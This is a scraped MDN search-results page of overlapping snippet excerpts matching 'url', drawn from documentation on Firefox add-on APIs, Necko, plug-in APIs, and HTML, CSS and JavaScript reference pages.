url string or a tab. the platform service (moziasyncfavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon
urls for visited sites. ...
...ise that resolves with the favicon
url for that page. the object can be a
url string or a tab. the platform service (moziasyncfavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon
urls for visited sites. ...
...And 4 more matches
package.json - Archive of obsolete content
are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company. defaults to an empty string. it may include a optional
url in parentheses and an email address in angle brackets. this value will be used as the add-on's em:creator element in the install.rdf file generated by cfx. note: jpm supports nodejs people fields. contributors an array of additional author strings, identifying other contributors to the add-on. these values will be used as the add-on's em:contributor elements in...
...this is deprecated along with cfx; it's not available when using jpm. string in the guid format. this is used as a classid of the "harness service" xpcom component. defaults to a random guid generated by cfx. hasembeddedwebextension new in jpm 1.2.0. boolean value: true if the add-on contains an embedded webextension. homepage the
url of the add-on's website. this value will be used as the add-on's em:homepage
url element in its install.rdf. icon the path to an image file containing the icon for the add-on. optional: you can have no icon field in package.json and put your icon named "icon.png" in the root directory of your add-on. if no icon is specified, the standard add-on icon will be used by defaul...
...file containing the icon for the add-on. optional: you can have no icon field in package.json and put your icon named "icon.png" in the root directory of your add-on. if no icon is specified, the standard add-on icon will be used by default. when using jpm, using a relative path to the data directory (to make it re-usable for add-on html content) does not work. you can generate the
url to your add-on icon in the data directory using the
url format below, where "your-addon-name" is the value in the name field of package.json. resource://@your-addon-name/data/your-icon-name.png this value will be used as the add-on's em:icon
url element in its install.rdf. the icon may be up to 48x48 pixels in size. a larger icon will work, but may either scaled and possibly di...
...And 4 more matches
JavaScript Object Management - Archive of obsolete content
ile: resource xulschoolhello modules/ javascript code modules are accessed with the resource protocol, which is very similar to the chrome protocol. just like with the chrome, we define the package name and then a path. to keep things simple, just locate the jsm files in a modules directory under the root of our project. in order to access a file messagecount.js in this directory, the
url would be: resource://xulschoolhello/messagecount.js code modules are regular js files, so there's nothing new in regards to naming or file types. mozilla has adopted a standard of using the extension .jsm for these files, but they say .js is fine as well. to keep things simple, specially regarding code editors and default file associations in the developer's system, we have decided to stic...
... namespace object. all of the objects inside of it are exported as well, since they are members of the 〈modulenamespace〉 object. module files can be imported to a chrome script or to other code modules with the following line: components.utils.import("resource://xulschoolhello/messagecount.js"); when using components.utils.import, code modules must be loaded using a file: or resource:
url pointing to a file on the disk. in particular, chrome:
urls (even those that point to a file outside a jar archive) are not valid. to get a better idea, let's look at the code of the modified hello world example. we have defined two files, one to declare namespaces and another one for the message count functionality mentioned in the previous exercise. here again we're using a placeholder, 〈mo...
...efine classes and be able to create multiple instances. common cases include interacting with a local database or a remote api. data will often be translated into arrays of entities, and those are better represented through classes. one way to define a class is as follows: /** * user class. represents a hello world user (whatever that may be). ...
...And 4 more matches
Promises - Archive of obsolete content
adapt to a promise-based approach. moreover, many third-party wrappers for the xmlhttprequest api now support promises out of the box. example direct usage task.spawn(function* () { // make the initial request. let resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("get", data
url); xhr.responsetype = "json"; xhr.send(); }); let data = resp.target.response; // use the response to construct form data object for the // second request. let form = new formdata; form.append("id", data.id); form.append("content", data.content); // make the second request. resp = yield new promise((resolve, reject) => { let xhr = new ...
... // use the response to construct form data object for the // second request. let form = new formdata; form.append("id", data.id); form.append("content", data.content); // make the second request. ...
...= resolve; xhr.onerror = reject; xhr.open("post", update
url); xhr.send(form); }); // use the response of the second request. notifyuser(resp.target.responsetext); }); example using promise-based helper the following example relies on the helper function defined below. task.spawn(function* () { // make the initial request. let xhr = yield request(data
url, { responsetype: "json" }); let data = xhr.response; // use the response to construct form data object for the // second request. let form = new formdata; form.append("id", data.id); form.append("content", data.content); // make the second request. xhr = yield request(update
url, { data: form }); // use the response of the second request. notifyuser(xhr.
...And 4 more matches
browser - Archive of obsolete content
ment. it is similar to an iframe except that it holds a page history and contains additional methods to manipulate the currently displayed page. are you here looking for information about the firefox web browser, or because you'd like to download the latest version of firefox? get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome
urls. other
urls will need to use the document and history objects to change the displayed document. attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cangoback, cangoforward, contentdocument, contentprincipal, contenttitle, contentvieweredit, cont...
...er element, with the following arguments. droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type:
url this attribute allows you to set a homepage for the browser element. it does not have any correlation with the user's browser homepage; instead it is a convenient property to hold a home page. you can switch to this home page using the gohome method. showcaret type: boolean whether or not to cause a typing caret to be visible in the content area. default is false. src ...
...eweredit which handles clipboard operations on the document. contentviewerfile type: nsicontentviewerfile reference to the nsicontentviewerfile interface for the document. contentwindow type: todo use the contentwindow.wrappedjsobject to obtain a dom(html) window object currenturi type: nsiuri this read-only property contains the currently loaded
url. to change the
url, use the loaduri method. docshell type: nsidocshell this read-only property contains the nsidocshell object for the document. documentcharsetinfo obsolete since gecko 12.0 type: nsidocumentcharsetinfo this read-only property contains the nsidocumentcharsetinfo object for the document which is used to handle which character set sho...
...And 4 more matches
XForms Custom Controls - Archive of obsolete content
it is possible to re-enable this by following the steps on using remote xul. this is required for all examples here to run! purpose you are in the right place if you would like to create your own custom renderings of the xforms controls like input, output, trigger, etc. we will also show you how to create custom controls that work with the xforms model and are automatically updated just like xforms controls. the purpose of this article is to give you enough background information so that you'll be able to get a good start. ...
... example, in the mozilla xforms extension we will render a combobox widget when appearance='minimal' on a select1 control. should the form author instead choose to use appearance='compact' on this control, we would render a listbox widget. here is a snippet from our .css file to show the type of css rule we would use to make such a determination. xf|select1[appearance="compact"] { -moz-binding:
url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains. for example, if mediatype='image/*' then the user should see the image that the bytes represent rather than just the byte sequence. xf|output[mediatype^="image"] { -moz-b...
...://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains. for example, if mediatype='image/*' then the user should see the image that the bytes represent rather than just the byte sequence. xf|output[mediatype^="image"] { -moz-binding:
url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control. for example, if you have an instance node of type xsd:date and you'd like to see the date displayed in a local fo...
...And 4 more matches
Windows Media in Netscape - Archive of obsolete content
function creategeckowmpobject(clid) { var player = null; try { player = new geckoactivexobject(clid); } catch(e) { ; } return player; } // instantiate players wmp7or9 = creategeckowmpobject("{6bf52a52-394a-11d3-b153-00c04f79faa6}"); if (!wmp7or9) { wmp64 = creategeckowmpobject("{22d6f312-b0f6-11d0-94ab-0080c74c7e95}"); } ..... note that the classids must be passed in c
urly braces "{}". the name geckoactivexobject rather than activexobject was introduced for two reasons: geckoactivexobject is limited to creating instances of windows media player activex controls. it therefore can not be used everywhere activexobject is used. activexobject is used by many web developers to detect the presence of internet explorer in much the same fashion as document.all is us...
...talled windows media player 7 or above, the snippet of code below should produce a windows media control and play a song. this is the example: needs to be embedded in wiki page (can it just be put here?) <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full"> <param name="autostart" value="true"> <param name="
url" value="media/preludesteel.wma"> your browser does not support the activex windows media player </object> the same markup (used above and shown below) will work in both ie and netscape 7.1. <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="autostart" value="true" /> <param n...
...ue="media/preludesteel.wma"> your browser does not support the activex windows media player </object> the same markup (used above and shown below) will work in both ie and netscape 7.1. <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="autostart" value="true" /> <param name="
url" value="preludesteel.wma" /> your browser does not support the activex windows media player </object> the classid attribute references the clsid of windows media player 7 and above -- windows media player versions before 7 used a different clsid. examples in this article all assume that the user is running windows media player 7 and later, although netscape 7.1 supports the clsids of windows...
...And 4 more matches
Setting up your own test automation environment - Learn web development
labs, and browserstack. selenium selenium is the most popular browser automation tool. there are other ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open this web page", "move over this element on the page", "click this link", "see whether the link opens this
url", etc. this is ideal for running automated tests. how you install and use webdriver depends on what programming environment you want to use to write and run your tests. most popular environments have available a package or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc.
...r = new webdriver.builder() .forbrowser('firefox') .build(); getting the document you want to test to load the page you actually want to test, you use the get() method of the driver instance you created earlier, for example: driver.get('http://www.google.com'); note: see the webdriver class reference for details of the features in this section and the ones below it. ...
...x') .build(); getting the document you want to test to load the page you actually want to test, you use the get() method of the driver instance you created earlier, for example: driver.get('http://www.google.com'); note: see the webdriver class reference for details of the features in this section and the ones below it. ...
...And 4 more matches
Adding phishing protection data providers
installing a new data provider to install a data provider for phishing protection, it's necessary to set a series of preferences to provide details about the provider. each data provider has a unique id number. the data provider with the id number 0 is the default data provider shipped with firefox. when installing a new provider, you should use the next unused number. ...
...ing.provider.0.name, then browser.safebrowsing.provider.1.name, and so forth until no value is returned. then you can use that value. you can find examples of how to read and write preferences in the article adding preferences to an extension. required preferences browser.safebrowsing.provider.idnum.name a human-readable name for the data provider. ...
...ider.0.name, then browser.safebrowsing.provider.1.name, and so forth until no value is returned. then you can use that value. you can find examples of how to read and write preferences in the article adding preferences to an extension. required preferences browser.safebrowsing.provider.idnum.name a human-readable name for the data provider. ...
...And 4 more matches
Necko Architecture
nkdata - data: protocol nkfile - file: protocol nkftp - ftp: protocol nkkeyword - keyword: protocol nkresrc - resource: protocol cnvts - stream converters stremcnv - stream converter service these libraries will change with time and illustrate the modularity of necko. ...
...verter service these libraries will change with time and illustrate the modularity of necko. architecture after a few iterations of our original design, the current necko architecture looks something like this:
urls necko's primary responsibility is moving data from one location, to another location. these locations are represented in the form we have all grown to know and love as uris. a
url implements the uri interface. the uri interface does resource-generic things like getting/setting the scheme, or getting/setting the spec (everything beyond the first colon ':'). ...
...ture looks something like this:
urls necko's primary responsibility is moving data from one location, to another location. these locations are represented in the form we have all grown to know and love as uris. a
url implements the uri interface. the uri interface does resource-generic things like getting/setting the scheme, or getting/setting the spec (everything beyond the first colon ':').
urls provide getting/setting of paths, hosts, ports, filenames, etc.
urls are the most commonly used form of a uri. because of their importance, necko provides its own standard implementation of
urls (with class id ns_standard
url_cid), which does all of the standard parsing necessary for most
urls. necko also provides a simple uri implementation for convenience. ...
...And 4 more matches
Using the Places keywords API
using the places keywords api the places keywords api allows to assign a keyword to an
url. keywords represent an alias for the given
url in the autocomplete (aka awesomebar) field, with smart replacement of query terms. a keyword can only be associated to a given
url, it's not possible to associate the same keyword with multiple
urls (doing so will just update the
url it's pointing to). each keyword can be associated with post data, in such a case a post action will be executed when the given
url is selected from the awesomebar. different keywords can reference the same
url, if their post data differ. keywords in firefox are currently created through the add keyword for this search contextual menu option in form text fields. note this is the same feature previously known as bookmark key...
...
url is selected from the awesomebar. different keywords can reference the same
url, if their post data differ. keywords in firefox are currently created through the add keyword for this search contextual menu option in form text fields. note this is the same feature previously known as bookmark keywords, the key difference is that keywords are not bound to a specific bookmark, but to a specific
url. using the keywords api the keywords api is a promise-based api available through the placesutils module: components.utils.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazymodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); setting a keyword for an
url the insert() method accepts a keyword entry object describing the keyword to insert. it has th...
...ailable through the placesutils module: components.utils.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazymodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); setting a keyword for an
url the insert() method accepts a keyword entry object describing the keyword to insert. it has the following properties: keyword: string representing the keyword
url: either a
url or spec represeting the
url to associate to postdata: optional post data string. should be omitted if there's no post data. ...
...And 4 more matches
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscriptable please add a summary to this article. ...
... xpcom/io/nsilocalfilemac.idlscriptable please add a summary to this article. ...
...ble please add a summary to this article. ...
...And 4 more matches
nsILoginManagerStorage
ng a login manager storage module for details. note: extensions that simply want to access/store logins should use the login manager service and nsiloginmanager interface instead. the login manager will handle selecting and using the correct nsiloginmanangerstorage module. ...
...se the login manager service and nsiloginmanager interface instead. the login manager will handle selecting and using the correct nsiloginmanangerstorage module. ...
...he login to add to the login storage. countlogins() implement this method to return the number of logins matching the specified criteria. this method is called, for example, to check to see if there is a login that will match the criteria without having to ask the user for their master password in order to decrypt the logins. unsigned long countlogins( in astring ahostname, in astring aaction
url, in astring ahttprealm ); parameters ahostname the hostname to which to restrict the search. specify an empty string to match all hosts. passing null should not match any logins, and should return 0. aaction
url the
url of the form to which the login will be submitted. to match any form login, specify an empty string. to not match to any form login, specify null. ahttprealm the http realm for ...
...And 4 more matches
Browser Side Plug-in API - Plugins
d; calling them from other threads is not supported and may have unpredictable results. netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_get
url asks the browser to create a stream for the specified
url. npn_get
urlnotify requests creation of a new stream with the contents of the specified
url; gets notification of the result. npn_getvalue allows the plug-in to query the browser for information. npn_getvaluefor
url provides information to a plug-in which is associated with a given
url, for example the cookies or preferred proxy. np...
...allocates a block of allocated memory. npn_newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser. npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated). npn_poppopupsenabledstate pops the popups-enabled state. ...
...allocated memory. npn_newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser. npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated). npn_poppopupsenabledstate pops the popups-enabled state. npn_post
url posts data to a
url. ...
...And 4 more matches
Using images - Web APIs
orth. external images can be used in any format supported by the browser, such as png, gif, or jpeg. you can even use the image produced by other canvas elements on the same page as the source! importing images into a canvas is basically a two step process: get a reference to an htmlimageelement object or to another canvas element as a source. it is also possible to use images by providing a
url. draw the image on the canvas using the drawimage() function. let's take a look at how to do this. getting images to draw the canvas api is able to use any of the following data types as an image source: htmlimageelement these are images created using the image() constructor, as well as any <img> element. svgimageelement these are images embedded using the <image> element. htmlvideoel...
...tion() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever. it's beyond the scope of this tutorial to look at image pre-loading tactics, but you should keep that in mind. ...
...g.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever. it's beyond the scope of this tutorial to look at image pre-loading tactics, but you should keep that in mind. embedding an image via data:
url another possible way to include images is via the data:
url. ...
...And 4 more matches
HTMLAnchorElement - Web APIs
s a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the proposed name of the file. if the name is not a valid filename of the underlying os, browser will adapt it. htmlhyperlinkelementutils.hash is a usvstring representing the fragment identifier, including the leading hash mark ('#'), if any, in the referenced
url. ...
...the proposed name of the file. if the name is not a valid filename of the underlying os, browser will adapt it. htmlhyperlinkelementutils.hash is a usvstring representing the fragment identifier, including the leading hash mark ('#'), if any, in the referenced
url. htmlhyperlinkelementutils.host is a usvstring representing the hostname and port (if it's not the default port) in the referenced
url. htmlhyperlinkelementutils.hostname is a usvstring representing the hostname in the referenced
url. htmlhyperlinkelementutils.href is a usvstring that is the result of parsing the href html attribute relative to the document, containing a valid
url of a linked resource. htmlanchorelement.hreflang is a domstring that reflects the hreflang html attribute, indicating the language of the linked...
...attribute, indicating the language of the linked resource. htmlanchorelement.media is a domstring that reflects the media html attribute, indicating the intended media for the linked resource. htmlhyperlinkelementutils.password is a usvstring containing the password specified before the domain name. htmlhyperlinkelementutils.origin read only returns a usvstring containing the origin of the
url, that is its scheme, its domain and its port. htmlhyperlinkelementutils.pathname is a usvstring representing the path name component, if any, of the referenced
url. htmlhyperlinkelementutils.port is a usvstring representing the port component, if any, of the referenced
url. htmlhyperlinkelementutils.protocol is a usvstring representing the protocol component, including trailing colon (':'),...
...And 4 more matches
HTMLImageElement - Web APIs
tching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.crossorigin a domstring specifying the cors setting for this image element. see cors settings attributes for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring representing the
url from which the currently displayed image was loaded. this may change as the image is adjusted due to changing conditions, as directed by any media queries which are in place. htmlimageelement.decoding an optional domstring representing a hint given to the browser on how it should decode the image. if this value is provided, it must be one of the possible permitted values: sync to decode the ima...
...element.sizes a domstring reflecting the sizes html attribute. this string specifies a list of comma-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used. read the documentation on the sizes page for details on the format of this string. ...
...-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used. read the documentation on the sizes page for details on the format of this string. htmlimageelement.src a usvstring that reflects the src html attribute, which contains the full
url of the image including base uri. you can load a different image into the element by changing the
url in the src attribute. htmlimageelement.srcset a usvstring reflecting the srcset html attribute. this specifies a list of candidate images, separated by commas (',', u+002c comma). each candidate image is a
url followed by a space, followed by a specially-formatted string indicating the size of the image. the size may be specified either the width or a size multiple. read the srcset page for spe...
...And 4 more matches
Navigator.registerProtocolHandler() - Web APIs
the navigator method registerprotocolhandler() lets web sites register their ability to open or handle particular
url schemes (aka protocols). for example, this api lets webmail sites open mailto:
urls, or voip sites open tel:
urls. syntax navigator.registerprotocolhandler(scheme,
url, title); note: recently updated to navigator.registerprotocolhandler(scheme,
url), but no browsers currently support this version. parameters scheme a string containing the protocol the site wishes to handle. for example, you can register to handle sms text message links by passing the "sms" scheme.
url a string containing the
url of the handler. ...
...older browsers also supported http. title a human-readable title string for the handler. ...
...older browsers also supported http. title a human-readable title string for the handler. this will be displayed to the user, such as prompting “allow this site to handle [scheme] links?” or listing registered handlers in the browser’s settings. ...
...And 4 more matches
ValidityState.typeMismatch - Web APIs
the read-only typemismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's type attribute. if the type attribute expects specific strings, such as the email and
url types and the value don't doesn't conform to the constraints set by the type, the typemismatch property will be true. the email input type expects one or more valid email addresses, depending on whether the multiple attribute is present. a valid email address includes an email prefix and a domain, with or without a top level domain. if the value of the email input is not an empty string, a single valid e-mail address, or one or more comma separated email address if the multiple attribute is present, there is a...
...ype expects one or more valid email addresses, depending on whether the multiple attribute is present. a valid email address includes an email prefix and a domain, with or without a top level domain. if the value of the email input is not an empty string, a single valid e-mail address, or one or more comma separated email address if the multiple attribute is present, there is a typemismatch. ...
...depending on whether the multiple attribute is present. a valid email address includes an email prefix and a domain, with or without a top level domain. if the value of the email input is not an empty string, a single valid e-mail address, or one or more comma separated email address if the multiple attribute is present, there is a typemismatch. the
url input type expects one or more valid email
urls, depending on whether the multiple attribute is present. a valid
url includes a protocol, optionally with an ip address, or an optional subdomain, domain, and top level domain combination. if the value of the
url input is not an empty string, a single valid
url, or one or more comma separated
urls if the multiple attribute is present, there is a typemismatch. type attribute conformance ...
...And 4 more matches
Using Web Workers - Web APIs
s from using eval(). however, if the script constructs a worker, code running in the worker's context will be allowed to use eval(). to specify a content security policy for the worker, set a content-security-policy response header for the request which delivered the worker script itself. the exception to this is if the worker script's origin is a globally unique identifier (for example, if its
url has a scheme of data or blob). in this case, the worker does inherit the csp of the document or worker that created it. transferring data to and from workers: further details data passed between the main page and workers is copied, not shared. objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. the page and worker do not share the same ins...
...json and a few things that json can't — like circular references. passing data examples example #1: advanced passing json data and creating a switching system if you have to pass some complex data and have to call many different functions both on the main page and in the worker, you can create a system which groups everything together. ...
...complex data and have to call many different functions both on the main page and in the worker, you can create a system which groups everything together. ...
...And 4 more matches
@namespace - CSS: Cascading Style Sheets
the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies. ...
...the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies. ...
...the @namespace rule is generally only useful when dealing with documents containing multiple namespaces—such as html5 with inline svg or mathml, or xml that mixes multiple vocabularies. ...
...And 4 more matches
background-image - CSS: Cascading Style Sheets
lor. if the images cannot be loaded—for instance, when the network is down—the background color will be used as a fallback. syntax each background image is specified either as the keyword none or as an <image> value. to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images. <image> is an <image> denoting the image to display. there can be several of them, separated by commas, as multiple backgrounds are supported. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is importa...
...ion critical to understanding the page's overall purpose, it is better to describe it semantically in the document. mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements. ...
...derstanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements. ...
...And 4 more matches
clip-path - CSS: Cascading Style Sheets
be shown. parts that are inside the region are shown, while those outside are hidden. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...; clip-path: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* box and shape values combined */ clip-path: padding-box circle(50px at 0 100px); /* global values */ clip-path: inherit; clip-path: initial; clip-path: unset; the clip-path property is specified as one or a combination of the values listed below. values <clip-source> a <
url> referencing an svg <clippath> element. <basic-shape> a shape whose size and position is defined by the <geometry-box> value. if no geometry box is specified, the border-box will be used as the reference box. <geometry-box> if specified in combination with a <basic-shape>, this value defines the reference box for the basic shape. if specified by itself, it causes the edges of the specified bo...
...other than none results in the creation of a new stacking context the same way that css opacity does for values other than 1. ...
...And 4 more matches
<image> - CSS: Cascading Style Sheets
a selection of images chosed based on resolution defined by the image-set() function. ...
...een readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. ...
...ll not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. ...
...And 4 more matches
JavaScript modules - JavaScript
lor }; } you can export functions, var, let, const, and — as we'll see later — classes. they need to be top-level items; you can't use export inside a function, for example. a more convenient way of exporting all the items you want to export is to use a single export statement at the end of your module file, followed by a comma-separated list of the features you want to export wrapped in c
urly braces. for example: export { name, draw, reportarea, reportperimeter }; importing features into your script once you've exported some features out of your module, you need to import them into your script to be able to use them. the simplest way to do this is as follows: import { name, draw, reportarea, reportperimeter } from './modules/square.js'; you use the import statement, followed by ...
...er }; importing features into your script once you've exported some features out of your module, you need to import them into your script to be able to use them. the simplest way to do this is as follows: import { name, draw, reportarea, reportperimeter } from './modules/square.js'; you use the import statement, followed by a comma-separated list of the features you want to import wrapped in c
urly braces, followed by the keyword from, followed by the path to the module file — a path relative to the site root, which for our basic-modules example would be /js-examples/modules/basic-modules. however, we've written the path a bit differently — we are using the dot (.) syntax to mean "the current location", followed by the path beyond that to the file we are trying to find. this is much b...
...ative to the site root, which for our basic-modules example would be /js-examples/modules/basic-modules. however, we've written the path a bit differently — we are using the dot (.) syntax to mean "the current location", followed by the path beyond that to the file we are trying to find. this is much better than writing out the entire relative path each time, as it is shorter, and it makes the
url portable — the example will still work if you move it to a different location in the site hierarchy. so for example: /js-examples/modules/basic-modules/modules/square.js becomes ./modules/square.js you can see such lines in action in main.js. note: in some module systems, you can omit the file extension and the dot (e.g. '/modules/square'). this doesn't work in native javascript modules.
...And 4 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
manager api: // this is the old way of getting one of your files const myaddonid = ...; // just store a constant with your id components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid(myaddonid,function(addon) { var file = services.io.newuri("resource://myaddon/filename.ext",null,null) .queryinterface(components.interfaces.nsifile
url) .file; var stream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream) .queryinterface(components.interfaces.nsiseekablestream); stream.init(file, 0x01, 0444, 0); // read-only, read by owner/group/others, normal behavior /* do stuff */...
... just makes things confusing. it is nonetheless the "correct" and best way to do things. ...
...it's available in the global for a window, but in jsm you'll need to fetch it from an interface: const xmlhttprequest = components.constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsixmlhttprequest"); here's how to load a file using it: function loadfile(
url,type,returnresult) { var request = new xmlhttprequest(); request.open("get",
url, true); // async=true request.responsetype = type; request.onerror = function(event) { logerrormessage("error attempting to load: " +
url); returnresult(null); }; request.onload = function(event) { if (request.response) returnresult(request.response); else request.onerror(event); }; request.send(); } loadfile("chrome...
...And 3 more matches
jspage - Archive of obsolete content
tion(f){var e;for(var d=0,c=1;1;d+=c,c/=2){if(f>=(7-4*d)/11){e=c*c-math.pow((11-6*d-11*f)/4,2); break;}}return e;},elastic:function(b,a){return math.pow(2,10*--b)*math.cos(20*b*math.pi*(a[0]||1)/3);}});["quad","cubic","quart","quint"].each(function(b,a){fx.transitions[b]=new fx.transition(function(c){return math.pow(c,[a+2]); });});var request=new class({implements:[chain,events,options],options:{
url:"",data:"",headers:{"x-requested-with":"xmlhttprequest",accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",issuccess:null,emulation:true,
urlencoded:true,encoding:"utf-8",evalscripts:false,evalresponse:false,nocache:false},initialize:function(a){this.xhr=new browser.request(); this.setoptions(a);this.options.issuccess=this.optio...
...esponseheader(a);}.bind(this));},check:function(){if(!this.running){return true; }switch(this.options.link){case"cancel":this.cancel();return true;case"chain":this.chain(this.caller.bind(this,arguments));return false;}return false;},send:function(k){if(!this.check(k)){return this; }this.running=true;var i=$type(k);if(i=="string"||i=="element"){k={data:k};}var d=this.options;k=$extend({data:d.data,
url:d.
url,method:d.method},k);var g=k.data,b=string(k.
url),a=k.method.tolowercase(); switch($type(g)){case"element":g=document.id(g).toquerystring();break;case"object":case"hash":g=hash.toquerystring(g);}if(this.options.format){var j="format="+this.options.format; g=(g)?j+"&"+g:j;}if(this.options.emulation&&!["get","post"].contains(a)){var h="_method="+a;g=(g)?h+"&"+g:h;a="post";}if(this.options.
urle...
...);break;case"object":case"hash":g=hash.toquerystring(g);}if(this.options.format){var j="format="+this.options.format; g=(g)?j+"&"+g:j;}if(this.options.emulation&&!["get","post"].contains(a)){var h="_method="+a;g=(g)?h+"&"+g:h;a="post";}if(this.options.
urlencoded&&a=="post"){var c=(this.options.encoding)?"; charset="+this.options.encoding:""; this.headers.set("content-type","application/x-www-form-
urlencoded"+c);}if(this.options.nocache){var f="nocache="+new date().gettime();g=(g)?f+"&"+g:f; }var e=b.lastindexof("/");if(e>-1&&(e=b.indexof("#"))>-1){b=b.substr(0,e);}if(g&&a=="get"){b=b+(b.contains("?")?"&":"?")+g;g=null;}this.xhr.open(a.touppercase(),b,this.options.async); this.xhr.onreadystatechange=this.onstatechange.bind(this);this.headers.each(function(m,l){try{this.xhr.setrequestheader(l,m...
...And 3 more matches
Binding Attachment and Detachment - Archive of obsolete content
attachment using css bindings can be attached to elements through css using the -moz-binding property. -moz-binding value: none | [,]* <uri> | inherit initial value: none applies to: all elements (not generated content or pseudo-elements) inherited: no percentages: n/a the value of the -moz-binding property is a set of
urls that identify specific bindings. ...
... attachment using css bindings can be attached to elements through css using the -moz-binding property. -moz-binding value: none | [,]* <uri> | inherit initial value: none applies to: all elements (not generated content or pseudo-elements) inherited: no percentages: n/a the value of the -moz-binding property is a set of
urls that identify specific bindings. ...
...can be attached to elements through css using the -moz-binding property. -moz-binding value: none | [,]* <uri> | inherit initial value: none applies to: all elements (not generated content or pseudo-elements) inherited: no percentages: n/a the value of the -moz-binding property is a set of
urls that identify specific bindings. an individual
url in the set consists of the binding document's
url and the binding's document-unique identifier. in the following example, a binding is referenced that will be attached to all html checkbox elements. input[type="checkbox"] { -moz-binding:
url("http://www.mozilla.org/xbl/htmlbindings.xml#checkbox"); } bindings attached through css will only remain on the bound element as long as the element continues to match the style rule. if at any time a...
...And 3 more matches
Simple Example - Archive of obsolete content
« previousnext » let's look a more useful example, this time for a template that will show a list of photos. in this situation, an rdf container will be used to hold the list of images. ...
...each image also has one property, the image's title. a template which displays this information is very simple to create. unlike previous examples where we iterated over a property to navigate the graph, here we want to iterate over the children of an rdf container. the container, an rdf seq, has the uri 'http://ww...
...e="palace from above"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by
urls. the resource uris correspond to their actual
